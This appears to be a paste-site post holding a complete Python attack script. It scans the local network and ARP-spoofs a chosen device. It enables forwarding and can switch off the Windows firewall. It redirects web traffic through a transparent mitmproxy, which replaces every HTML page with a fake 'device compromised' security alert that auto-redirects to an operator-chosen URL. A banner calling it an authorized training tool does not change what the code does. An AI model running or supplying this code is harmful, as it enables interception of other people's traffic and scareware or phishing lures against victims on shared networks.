this

🧩 Syntax:
import os
import sys
import subprocess
import time
import socket
import threading
import ipaddress
import re
import urllib.request
import platform

# Check and install required modules
def install_package(package):
    try:
        subprocess.check_call([sys.executable, "-m", "pip", "install", package])
        print(f"✓ {package} installed successfully")
    except:
        print(f"! Failed to install {package}")

# Install required packages if not already installed
required_packages = ['scapy', 'netifaces', 'mitmproxy']
for package in required_packages:
    try:
        __import__(package)
        print(f"✓ {package} is already installed")
    except ImportError:
        print(f"Installing {package}...")
        install_package(package)

# Now import the required modules
try:
    import netifaces
    from scapy.all import ARP, Ether, send, srp
except ImportError:
    print("Critical error: Required modules couldn't be imported.")
    print("Please install them manually: pip install scapy netifaces mitmproxy")
    sys.exit(1)

# Configuration
REDIRECT_URL = "https://www.google.com"
HTML_CONTENT = """
<!DOCTYPE html>
<html>
<head>
    <title>Security Alert</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f0f0; }
        .alert {
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background-color: #f44336;
            color: white;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 4px 8px rgba(0,0,0,0.2);
            text-align: center;
            max-width: 80%;
            z-index: 1000;
        }
        .btn {
            background-color: white;
            color: #f44336;
            border: none;
            padding: 10px 20px;
            margin-top: 15px;
            border-radius: 3px;
            cursor: pointer;
            font-weight: bold;
        }
        .header {
            text-align: center;
            margin-bottom: 15px;
        }
        .icon {
            font-size: 48px;
            margin-bottom: 10px;
        }
        .countdown {
            font-weight: bold;
            margin-top: 10px;
            font-size: 16px;
        }
    </style>
</head>
<body>
    <div class="alert">
        <div class="header">
            <div class="icon">!</div>
            <h2>SECURITY ALERT</h2>
        </div>
        <p>Your device has been compromised. Unauthorized access detected.</p>
        <p>Your personal data may be at risk.</p>
        <p>Critical action required to secure your device.</p>
        <button class="btn" onclick="handleClick()">Verify Security</button>
        <div class="countdown" id="countdown">Automatic verification in 3...</div>
    </div>
    
    <script>
        function handleClick() {
            window.location.href = "REDIRECT_URL_PLACEHOLDER";
        }
        
        // Auto-redirect after 3 seconds
        let count = 3;
        const countdownElement = document.getElementById('countdown');
        
        const countdownInterval = setInterval(function() {
            count--;
            if (count > 0) {
                countdownElement.innerText = `Automatic verification in ${count}...`;
            } else {
                clearInterval(countdownInterval);
                countdownElement.innerText = 'Redirecting...';
                window.location.href = "REDIRECT_URL_PLACEHOLDER";
            }
        }, 1000);
    </script>
</body>
</html>
"""

def check_admin():
    """Check if script is running with admin privileges"""
    try:
        is_admin = os.getuid() == 0
    except AttributeError:
        import ctypes
        is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
    return is_admin

def find_network_interface():
    """Find the correct network interface to use"""
    interfaces = netifaces.interfaces()
    valid_interfaces = []
    
    for iface in interfaces:
        if iface == 'lo' or (os.name == 'nt' and 'Loopback' in iface) or 'virtual' in iface.lower():
            continue
        
        addrs = netifaces.ifaddresses(iface)
        if netifaces.AF_INET in addrs:
            ipinfo = addrs[netifaces.AF_INET][0]
            ip = ipinfo['addr']
            if not ip.startswith('127.'):
                valid_interfaces.append((iface, ip))
    
    if not valid_interfaces:
        return None, None
        
    # If multiple interfaces, allow the user to choose
    if len(valid_interfaces) > 1:
        print("\nMultiple network interfaces found:")
        for i, (iface, ip) in enumerate(valid_interfaces):
            print(f"{i+1}. {iface} - {ip}")
        
        while True:
            try:
                choice = int(input("\nSelect interface number: ")) - 1
                if 0 <= choice < len(valid_interfaces):
                    return valid_interfaces[choice]
                print("Invalid selection, try again.")
            except ValueError:
                print("Please enter a number.")
    
    return valid_interfaces[0]

def get_mac(ip):
    """Get the MAC address of an IP"""
    try:
        arp_request = ARP(pdst=ip)
        broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        answered_list = srp(arp_request_broadcast, timeout=1, verbose=False)[0]
        if answered_list:
            return answered_list[0][1].hwsrc
    except Exception as e:
        print(f"Error getting MAC: {e}")
    return None

def get_gateway_ip():
    """Get the gateway IP address"""
    try:
        gws = netifaces.gateways()
        return gws['default'][netifaces.AF_INET][0]
    except Exception as e:
        print(f"Error getting gateway IP: {e}")
        # Try alternate method
        if os.name == 'nt':  # Windows
            output = subprocess.check_output("ipconfig", text=True)
            gateways = re.findall(r"Default Gateway.*?(\d+\.\d+\.\d+\.\d+)", output, re.DOTALL)
            if gateways:
                return gateways[0]
        else:  # Linux
            output = subprocess.check_output("ip route | grep default", shell=True, text=True)
            match = re.search(r"default via (\d+\.\d+\.\d+\.\d+)", output)
            if match:
                return match.group(1)
        return None

def scan_network(ip_range):
    """Scan the network for connected devices - Enhanced version"""
    print(f"Scanning network {ip_range}...")
    
    devices = []
    
    # Use more aggressive ARP scan
    try:
        # Create ARP request
        arp = ARP(pdst=ip_range)
        ether = Ether(dst="ff:ff:ff:ff:ff:ff")
        packet = ether/arp
        
        # Send multiple times for better coverage
        for _ in range(3):
            result = srp(packet, timeout=2, verbose=False)[0]
            # Collect devices
            for sent, received in result:
                ip = received.psrc
                mac = received.hwsrc
                # Check if device already in list
                if not any(d['ip'] == ip for d in devices):
                    devices.append({'ip': ip, 'mac': mac})
            time.sleep(0.5)
    except Exception as e:
        print(f"ARP scan error: {e}")
    
    # If few devices found, try additional scan methods
    if len(devices) < 5:
        print("Few devices found. Trying advanced scanning...")
        try:
            # Try using subnet ranges with common IP patterns
            network = ipaddress.IPv4Network(ip_range, strict=False)
            ip_base = str(network.network_address).rsplit('.', 1)[0]
            
            # Common last octets for default devices (routers, etc.)
            common_ips = [f"{ip_base}.1", f"{ip_base}.254", f"{ip_base}.100", f"{ip_base}.200"]
            
            # Add devices IP range
            for i in range(2, 20):
                common_ips.append(f"{ip_base}.{i}")
            
            for target_ip in common_ips:
                if any(d['ip'] == target_ip for d in devices):
                    continue  # Skip if already found
                    
                mac = get_mac(target_ip)
                if mac:
                    devices.append({'ip': target_ip, 'mac': mac})
                
        except Exception as e:
            print(f"Extended scan error: {e}")
    
    return devices

def enable_ip_forwarding():
    """Enable IP forwarding"""
    try:
        if os.name == 'nt':  # Windows
            subprocess.run(["reg", "add", "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters", "/v", "IPEnableRouter", "/t", "REG_DWORD", "/d", "1", "/f"], check=True)
            # Add firewall rules - FIXED to use correct syntax for Windows
            try:
                # Simpler firewall rule syntax for Windows that should work
                subprocess.run(["netsh", "advfirewall", "firewall", "add", "rule", "name=IP-Forwarding", "dir=in", "action=allow", "protocol=any"], check=True)
                subprocess.run(["netsh", "advfirewall", "firewall", "add", "rule", "name=IP-Forwarding", "dir=out", "action=allow", "protocol=any"], check=True)
            except Exception as e:
                print(f"Warning: Could not add firewall rules: {e}")
                print("Trying to disable Windows Firewall temporarily...")
                try:
                    # Try to disable firewall temporarily
                    subprocess.run(["netsh", "advfirewall", "set", "allprofiles", "state", "off"], check=False)
                    print("Windows Firewall temporarily disabled for this session.")
                except:
                    print("You may need to manually disable Windows Firewall for this to work properly.")
        else:  # Linux
            subprocess.run(["sysctl", "-w", "net.ipv4.ip_forward=1"], check=True)
        return True
    except Exception as e:
        print(f"Error enabling IP forwarding: {e}")
        return False

def disable_ip_forwarding():
    """Disable IP forwarding when done"""
    try:
        if os.name == 'nt':  # Windows
            subprocess.run(["reg", "add", "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters", "/v", "IPEnableRouter", "/t", "REG_DWORD", "/d", "0", "/f"], check=True)
            try:
                subprocess.run(["netsh", "advfirewall", "firewall", "delete", "rule", "name=\"IP Forwarding\""], check=True)
            except:
                pass
        else:  # Linux
            subprocess.run(["sysctl", "-w", "net.ipv4.ip_forward=0"], check=True)
    except Exception as e:
        print(f"Error disabling IP forwarding: {e}")

def arp_spoof(target_ip, gateway_ip, stop_event):
    """Perform ARP spoofing"""
    print(f"Obtaining MAC addresses for {target_ip} and {gateway_ip}...")
    
    # Get MAC addresses with more reliable method
    target_mac = None
    gateway_mac = None
    
    # Try multiple times to get MACs
    for attempt in range(5):
        if not target_mac:
            target_mac = get_mac(target_ip)
        if not gateway_mac:
            gateway_mac = get_mac(gateway_ip)
            
        if target_mac and gateway_mac:
            break
            
        print(f"Retrying MAC address lookup (attempt {attempt+1})...")
        time.sleep(1)
    
    # If still can't get MACs after retries
    if not target_mac or not gateway_mac:
        print("Could not get MAC addresses after retries.")
        if not target_mac:
            print(f"Could not get MAC for target {target_ip}")
        if not gateway_mac:
            print(f"Could not get MAC for gateway {gateway_ip}")
        return False
    
    print(f"[+] Target MAC: {target_mac}")
    print(f"[+] Gateway MAC: {gateway_mac}")
    
    # Get our own MAC address
    if os.name == 'nt':  # Windows
        our_mac = None
        try:
            # Get our MAC using different approach on Windows
            from uuid import getnode
            our_mac = ':'.join(['{:02x}'.format((getnode() >> elements) & 0xff) for elements in range(0, 48, 8)][::-1])
        except:
            our_mac = "00:00:00:00:00:00"  # Fallback
    else:
        # On Linux we can use netifaces
        interfaces = netifaces.interfaces()
        for interface in interfaces:
            if netifaces.AF_LINK in netifaces.ifaddresses(interface):
                our_mac = netifaces.ifaddresses(interface)[netifaces.AF_LINK][0]['addr']
                break
        if not our_mac:
            our_mac = "00:00:00:00:00:00"  # Fallback
    
    # Create and send ARP packets properly
    try:
        print("\n[+] Beginning ARP spoofing. Press Ctrl+C to stop...")
        
        # Create ARP packets - improved version
        # Tell target we are the gateway
        target_packet = ARP(
            op=2,  # op=2 means ARP reply / is-at
            pdst=target_ip,  # Target IP
            hwdst=target_mac,  # Target MAC
            psrc=gateway_ip,  # Pretend to be the gateway
            hwsrc=our_mac  # Our MAC address
        )
        
        # Tell gateway we are the target
        gateway_packet = ARP(
            op=2,  # op=2 means ARP reply / is-at
            pdst=gateway_ip,  # Gateway IP
            hwdst=gateway_mac,  # Gateway MAC
            psrc=target_ip,  # Pretend to be the target
            hwsrc=our_mac  # Our MAC address
        )
        
        while not stop_event.is_set():
            send(target_packet, verbose=False)
            send(gateway_packet, verbose=False)
            time.sleep(2)
            
    except Exception as e:
        print(f"Error in ARP spoofing: {e}")
        
    finally:
        # Restore the ARP tables
        print("\n[!] Restoring ARP tables...")
        
        # Create restore packets
        restore_target = ARP(
            op=2,
            pdst=target_ip,
            hwdst=target_mac,
            psrc=gateway_ip,
            hwsrc=gateway_mac
        )
        
        restore_gateway = ARP(
            op=2,
            pdst=gateway_ip,
            hwdst=gateway_mac,
            psrc=target_ip,
            hwsrc=target_mac
        )
        
        # Send multiple times to ensure delivery
        for _ in range(5):
            send(restore_target, verbose=False)
            send(restore_gateway, verbose=False)
            time.sleep(0.2)
    
    return True
def create_mitmproxy_script(redirect_url=None):
    """Create the mitmproxy script for redirecting and injecting content"""
    if redirect_url:
        global REDIRECT_URL
        REDIRECT_URL = redirect_url
    
    # Replace special characters in HTML content
    html_content = HTML_CONTENT.replace("REDIRECT_URL_PLACEHOLDER", REDIRECT_URL)
    
    script_content = f"""
import mitmproxy.http
from mitmproxy import ctx

# Configuration
REDIRECT_URL = "{REDIRECT_URL}"
HTML_CONTENT = \"\"\"
{html_content}
\"\"\"

class Injector:
    def response(self, flow: mitmproxy.http.HTTPFlow):
        # Only process HTTP responses
        if flow.response and flow.response.headers.get("content-type", "").startswith(("text/html", "application/xhtml")):
            ctx.log.info(f"Intercepted request to {{flow.request.pretty_host}}")
            
            # Replace the content with our alert
            flow.response.content = HTML_CONTENT.encode("utf-8")
            flow.response.headers["content-type"] = "text/html"
            
            # Set headers to prevent caching
            flow.response.headers["Cache-Control"] = "no-store, no-cache, must-revalidate, max-age=0"
            flow.response.headers["Pragma"] = "no-cache"
            flow.response.headers["Expires"] = "0"
            
            ctx.log.info("Injected security alert")

addons = [Injector()]
"""
    
    # Write the script to a file with UTF-8 encoding to avoid character issues
    script_path = os.path.join(os.getcwd(), "mitm_script.py")
    try:
        with open(script_path, "w", encoding="utf-8") as f:
            f.write(script_content)
    except Exception as e:
        print(f"Error writing script file: {e}")
        # Fallback to a simpler version without special characters
        with open(script_path, "w", encoding="ascii", errors="ignore") as f:
            f.write(script_content)
    
    return script_path

def start_mitmproxy():
    """Start mitmproxy with our script"""
    script_path = create_mitmproxy_script()
    
    try:
        # Use transparent proxy mode
        cmd = ["mitmdump", "--mode", "transparent", "--showhost", "-s", script_path, "--set", "block_global=false"]
        print(f"[+] Starting mitmproxy: {' '.join(cmd)}")
        
        # Start mitmproxy
        process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        
        # Give it some time to start
        time.sleep(2)
        
        # Check if process is still running
        if process.poll() is not None:
            stdout, stderr = process.communicate()
            print(f"Error: mitmproxy failed to start. Error: {stderr.decode('utf-8', errors='ignore')}")
            return None
            
        return process
    except Exception as e:
        print(f"Error starting mitmproxy: {e}")
        return None

def setup_traffic_redirection(iface):
    """Set up traffic redirection using iptables or netsh"""
    try:
        if os.name == 'nt':  # Windows
            # For Windows, we'll use netsh to redirect traffic
            subprocess.run(["netsh", "interface", "portproxy", "reset"], stderr=subprocess.DEVNULL)
            subprocess.run(["netsh", "interface", "portproxy", "add", "v4tov4", "listenport=80", "connectport=8080", "connectaddress=127.0.0.1"], check=True)
            subprocess.run(["netsh", "interface", "portproxy", "add", "v4tov4", "listenport=443", "connectport=8080", "connectaddress=127.0.0.1"], check=True)
            print("[+] Windows traffic redirection set up successfully")
        else:  # Linux
            # For Linux, we'll use iptables
            # Flush existing rules
            subprocess.run(["iptables", "-t", "nat", "-F"], check=True)
            # Set up redirection
            subprocess.run(["iptables", "-t", "nat", "-A", "PREROUTING", "-i", iface, "-p", "tcp", "--dport", "80", "-j", "REDIRECT", "--to-port", "8080"], check=True)
            subprocess.run(["iptables", "-t", "nat", "-A", "PREROUTING", "-i", iface, "-p", "tcp", "--dport", "443", "-j", "REDIRECT", "--to-port", "8080"], check=True)
            print("[+] Linux traffic redirection set up successfully")
        return True
    except Exception as e:
        print(f"Error setting up traffic redirection: {e}")
        return False

def cleanup_traffic_redirection():
    """Clean up traffic redirection rules"""
    try:
        if os.name == 'nt':  # Windows
            subprocess.run(["netsh", "interface", "portproxy", "reset"], check=True)
        else:  # Linux
            subprocess.run(["iptables", "-t", "nat", "-F"], check=True)
        return True
    except Exception as e:
        print(f"Error cleaning up traffic redirection: {e}")
        return False

def clear_screen():
    """Clear the terminal screen"""
    os.system('cls' if os.name == 'nt' else 'clear')

def print_banner():
    """Print a cool banner"""
    banner = """
    +-------------------------------------------------------------+
    |            CYBERSECURITY DEMONSTRATION TOOLKIT              |
    |             NETWORK VULNERABILITY ASSESSMENT                |
    +-------------------------------------------------------------+
    |           AUTHORIZED SECURITY TESTING ONLY                  |
    |        Enterprise Network Security Training Tool            |
    +-------------------------------------------------------------+
    """
    print(banner)

def main():
    clear_screen()
    print_banner()
    
    # Print environment information
    print(f"System: {platform.system()} {platform.release()}")
    print(f"Python: {platform.python_version()}")
    
    # Check admin privileges
    if not check_admin():
        print("[!] This script requires administrator privileges.")
        print("[!] Please run this script as administrator (Windows) or with sudo (Linux).")
        sys.exit(1)
    
    # Find network interface
    iface, host_ip = find_network_interface()
    
    if not iface or not host_ip:
        print("[!] Error: Could not find suitable network interface.")
        print("Please ensure your network connection is active.")
        input("Press Enter to exit...")
        sys.exit(1)
    
    # Get gateway IP
    gateway_ip = get_gateway_ip()
    
    if not gateway_ip:
        print("[!] Error: Could not determine gateway IP.")
        print("Please check your network configuration.")
        input("Press Enter to exit...")
        sys.exit(1)
    
    print(f"[+] Interface: {iface}")
    print(f"[+] Your IP: {host_ip}")
    print(f"[+] Gateway IP: {gateway_ip}")
    
    # Ask for redirect URL
    custom_url = input(f"\n[?] Enter URL for security verification (default: {REDIRECT_URL}): ").strip()
    if custom_url:
        try:
            # Ensure URL has proper format
            if not custom_url.startswith(('http://', 'https://')):
                custom_url = 'https://' + custom_url
                
            create_mitmproxy_script(custom_url)
            print(f"[+] Redirect URL set to: {custom_url}")
        except Exception as e:
            print(f"[!] Error updating redirect URL: {e}")
            print("[+] Continuing with default URL.")
    
    # Calculate the network range
    ip_parts = host_ip.split('.')
    ip_range = f"{ip_parts[0]}.{ip_parts[1]}.{ip_parts[2]}.0/24"
    
    # Scan for devices
    print("\n[+] Scanning for devices on the network...")
    print("[+] This may take a few moments...")
    devices = scan_network(ip_range)
    
    if not devices:
        print("[!] No devices found on the network.")
        retry = input("\nDo you want to retry scanning with extended range? (y/n): ").strip().lower()
        if retry == 'y':
            # Try a broader scan
            broader_range = f"{ip_parts[0]}.{ip_parts[1]}.0.0/16"
            print(f"[+] Scanning broader range: {broader_range}")
            print("[+] This may take several minutes...")
            devices = scan_network(broader_range)
            
        if not devices:
            print("[!] Still no devices found. Please check your network connection.")
            input("Press Enter to exit...")
            sys.exit(1)
    
    print(f"\n[+] Found {len(devices)} devices:")
    target_devices = []
    for i, device in enumerate(devices):
        if device['ip'] != host_ip and device['ip'] != gateway_ip:
            target_devices.append(device)
            print(f"{len(target_devices)}. IP: {device['ip']}, MAC: {device['mac']}")
    
    if not target_devices:
        print("[!] No valid target devices found.")
        input("Press Enter to exit...")
        sys.exit(1)
    
    # Select target
    selected = False
    target_ip = None
    while not selected:
        try:
            choice = input("\n[?] Select a device number to target (or enter IP directly): ")
            
            if choice.count('.') == 3:  # User entered an IP
                target_ip = choice
                selected = True
            else:
                index = int(choice) - 1
                if 0 <= index < len(target_devices):
                    device = target_devices[index]
                    target_ip = device['ip']
                    selected = True
                else:
                    print("[!] Invalid selection.")
        except ValueError:
            print("[!] Please enter a valid number or IP address.")
    
    print(f"\n[+] Target selected: {target_ip}")
    
    # Enable IP forwarding
    print("[+] Enabling IP forwarding...")
    if not enable_ip_forwarding():
        print("[!] Failed to enable IP forwarding.")
        input("Press Enter to exit...")
        sys.exit(1)
    
    # Set up traffic redirection
    print("[+] Setting up traffic redirection...")
    if not setup_traffic_redirection(iface):
        print("[!] Failed to set up traffic redirection.")
        disable_ip_forwarding()
        input("Press Enter to exit...")
        sys.exit(1)
    
    # Start mitmproxy
    print("[+] Setting up proxy interceptor...")
    proxy_process = start_mitmproxy()
    
    if not proxy_process:
        print("[!] Failed to start mitmproxy.")
        cleanup_traffic_redirection()
        disable_ip_forwarding()
        input("Press Enter to exit...")
        sys.exit(1)
    
    # Create a stop event for graceful termination
    stop_event = threading.Event()
    
    # Start ARP spoofing in a separate thread
    print("[+] Starting network traffic interception...")
    spoof_thread = threading.Thread(target=arp_spoof, args=(target_ip, gateway_ip, stop_event))
    spoof_thread.daemon = True
    spoof_thread.start()
    
    print("\n[+] Security assessment is running!")
    print("[+] When the target device attempts to access the web:")
    print("    - They will receive a security alert demonstration")
    print(f"    - Interaction with the alert will redirect to {REDIRECT_URL}")
    print("\n[+] Press Ctrl+C to stop the assessment...")
    
    try:
        # Keep the main thread running
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[!] Stopping assessment...")
        
        # Signal the ARP spoofing thread to stop
        stop_event.set()
        
        # Wait for the thread to complete
        if spoof_thread.is_alive():
            spoof_thread.join(timeout=5)
        
        # Clean up
        print("[+] Cleaning up traffic redirection...")
        cleanup_traffic_redirection()
        
        print("[+] Disabling IP forwarding...")
        disable_ip_forwarding()
        
        print("[+] Stopping proxy interceptor...")
        if proxy_process:
            proxy_process.terminate()
            try:
                proxy_process.wait(timeout=5)
            except subprocess.TimeoutExpired:
                proxy_process.kill()
        
        print("[+] Assessment stopped. Network restored to normal operation.")

if __name__ == "__main__":
    main()
Guest

Guest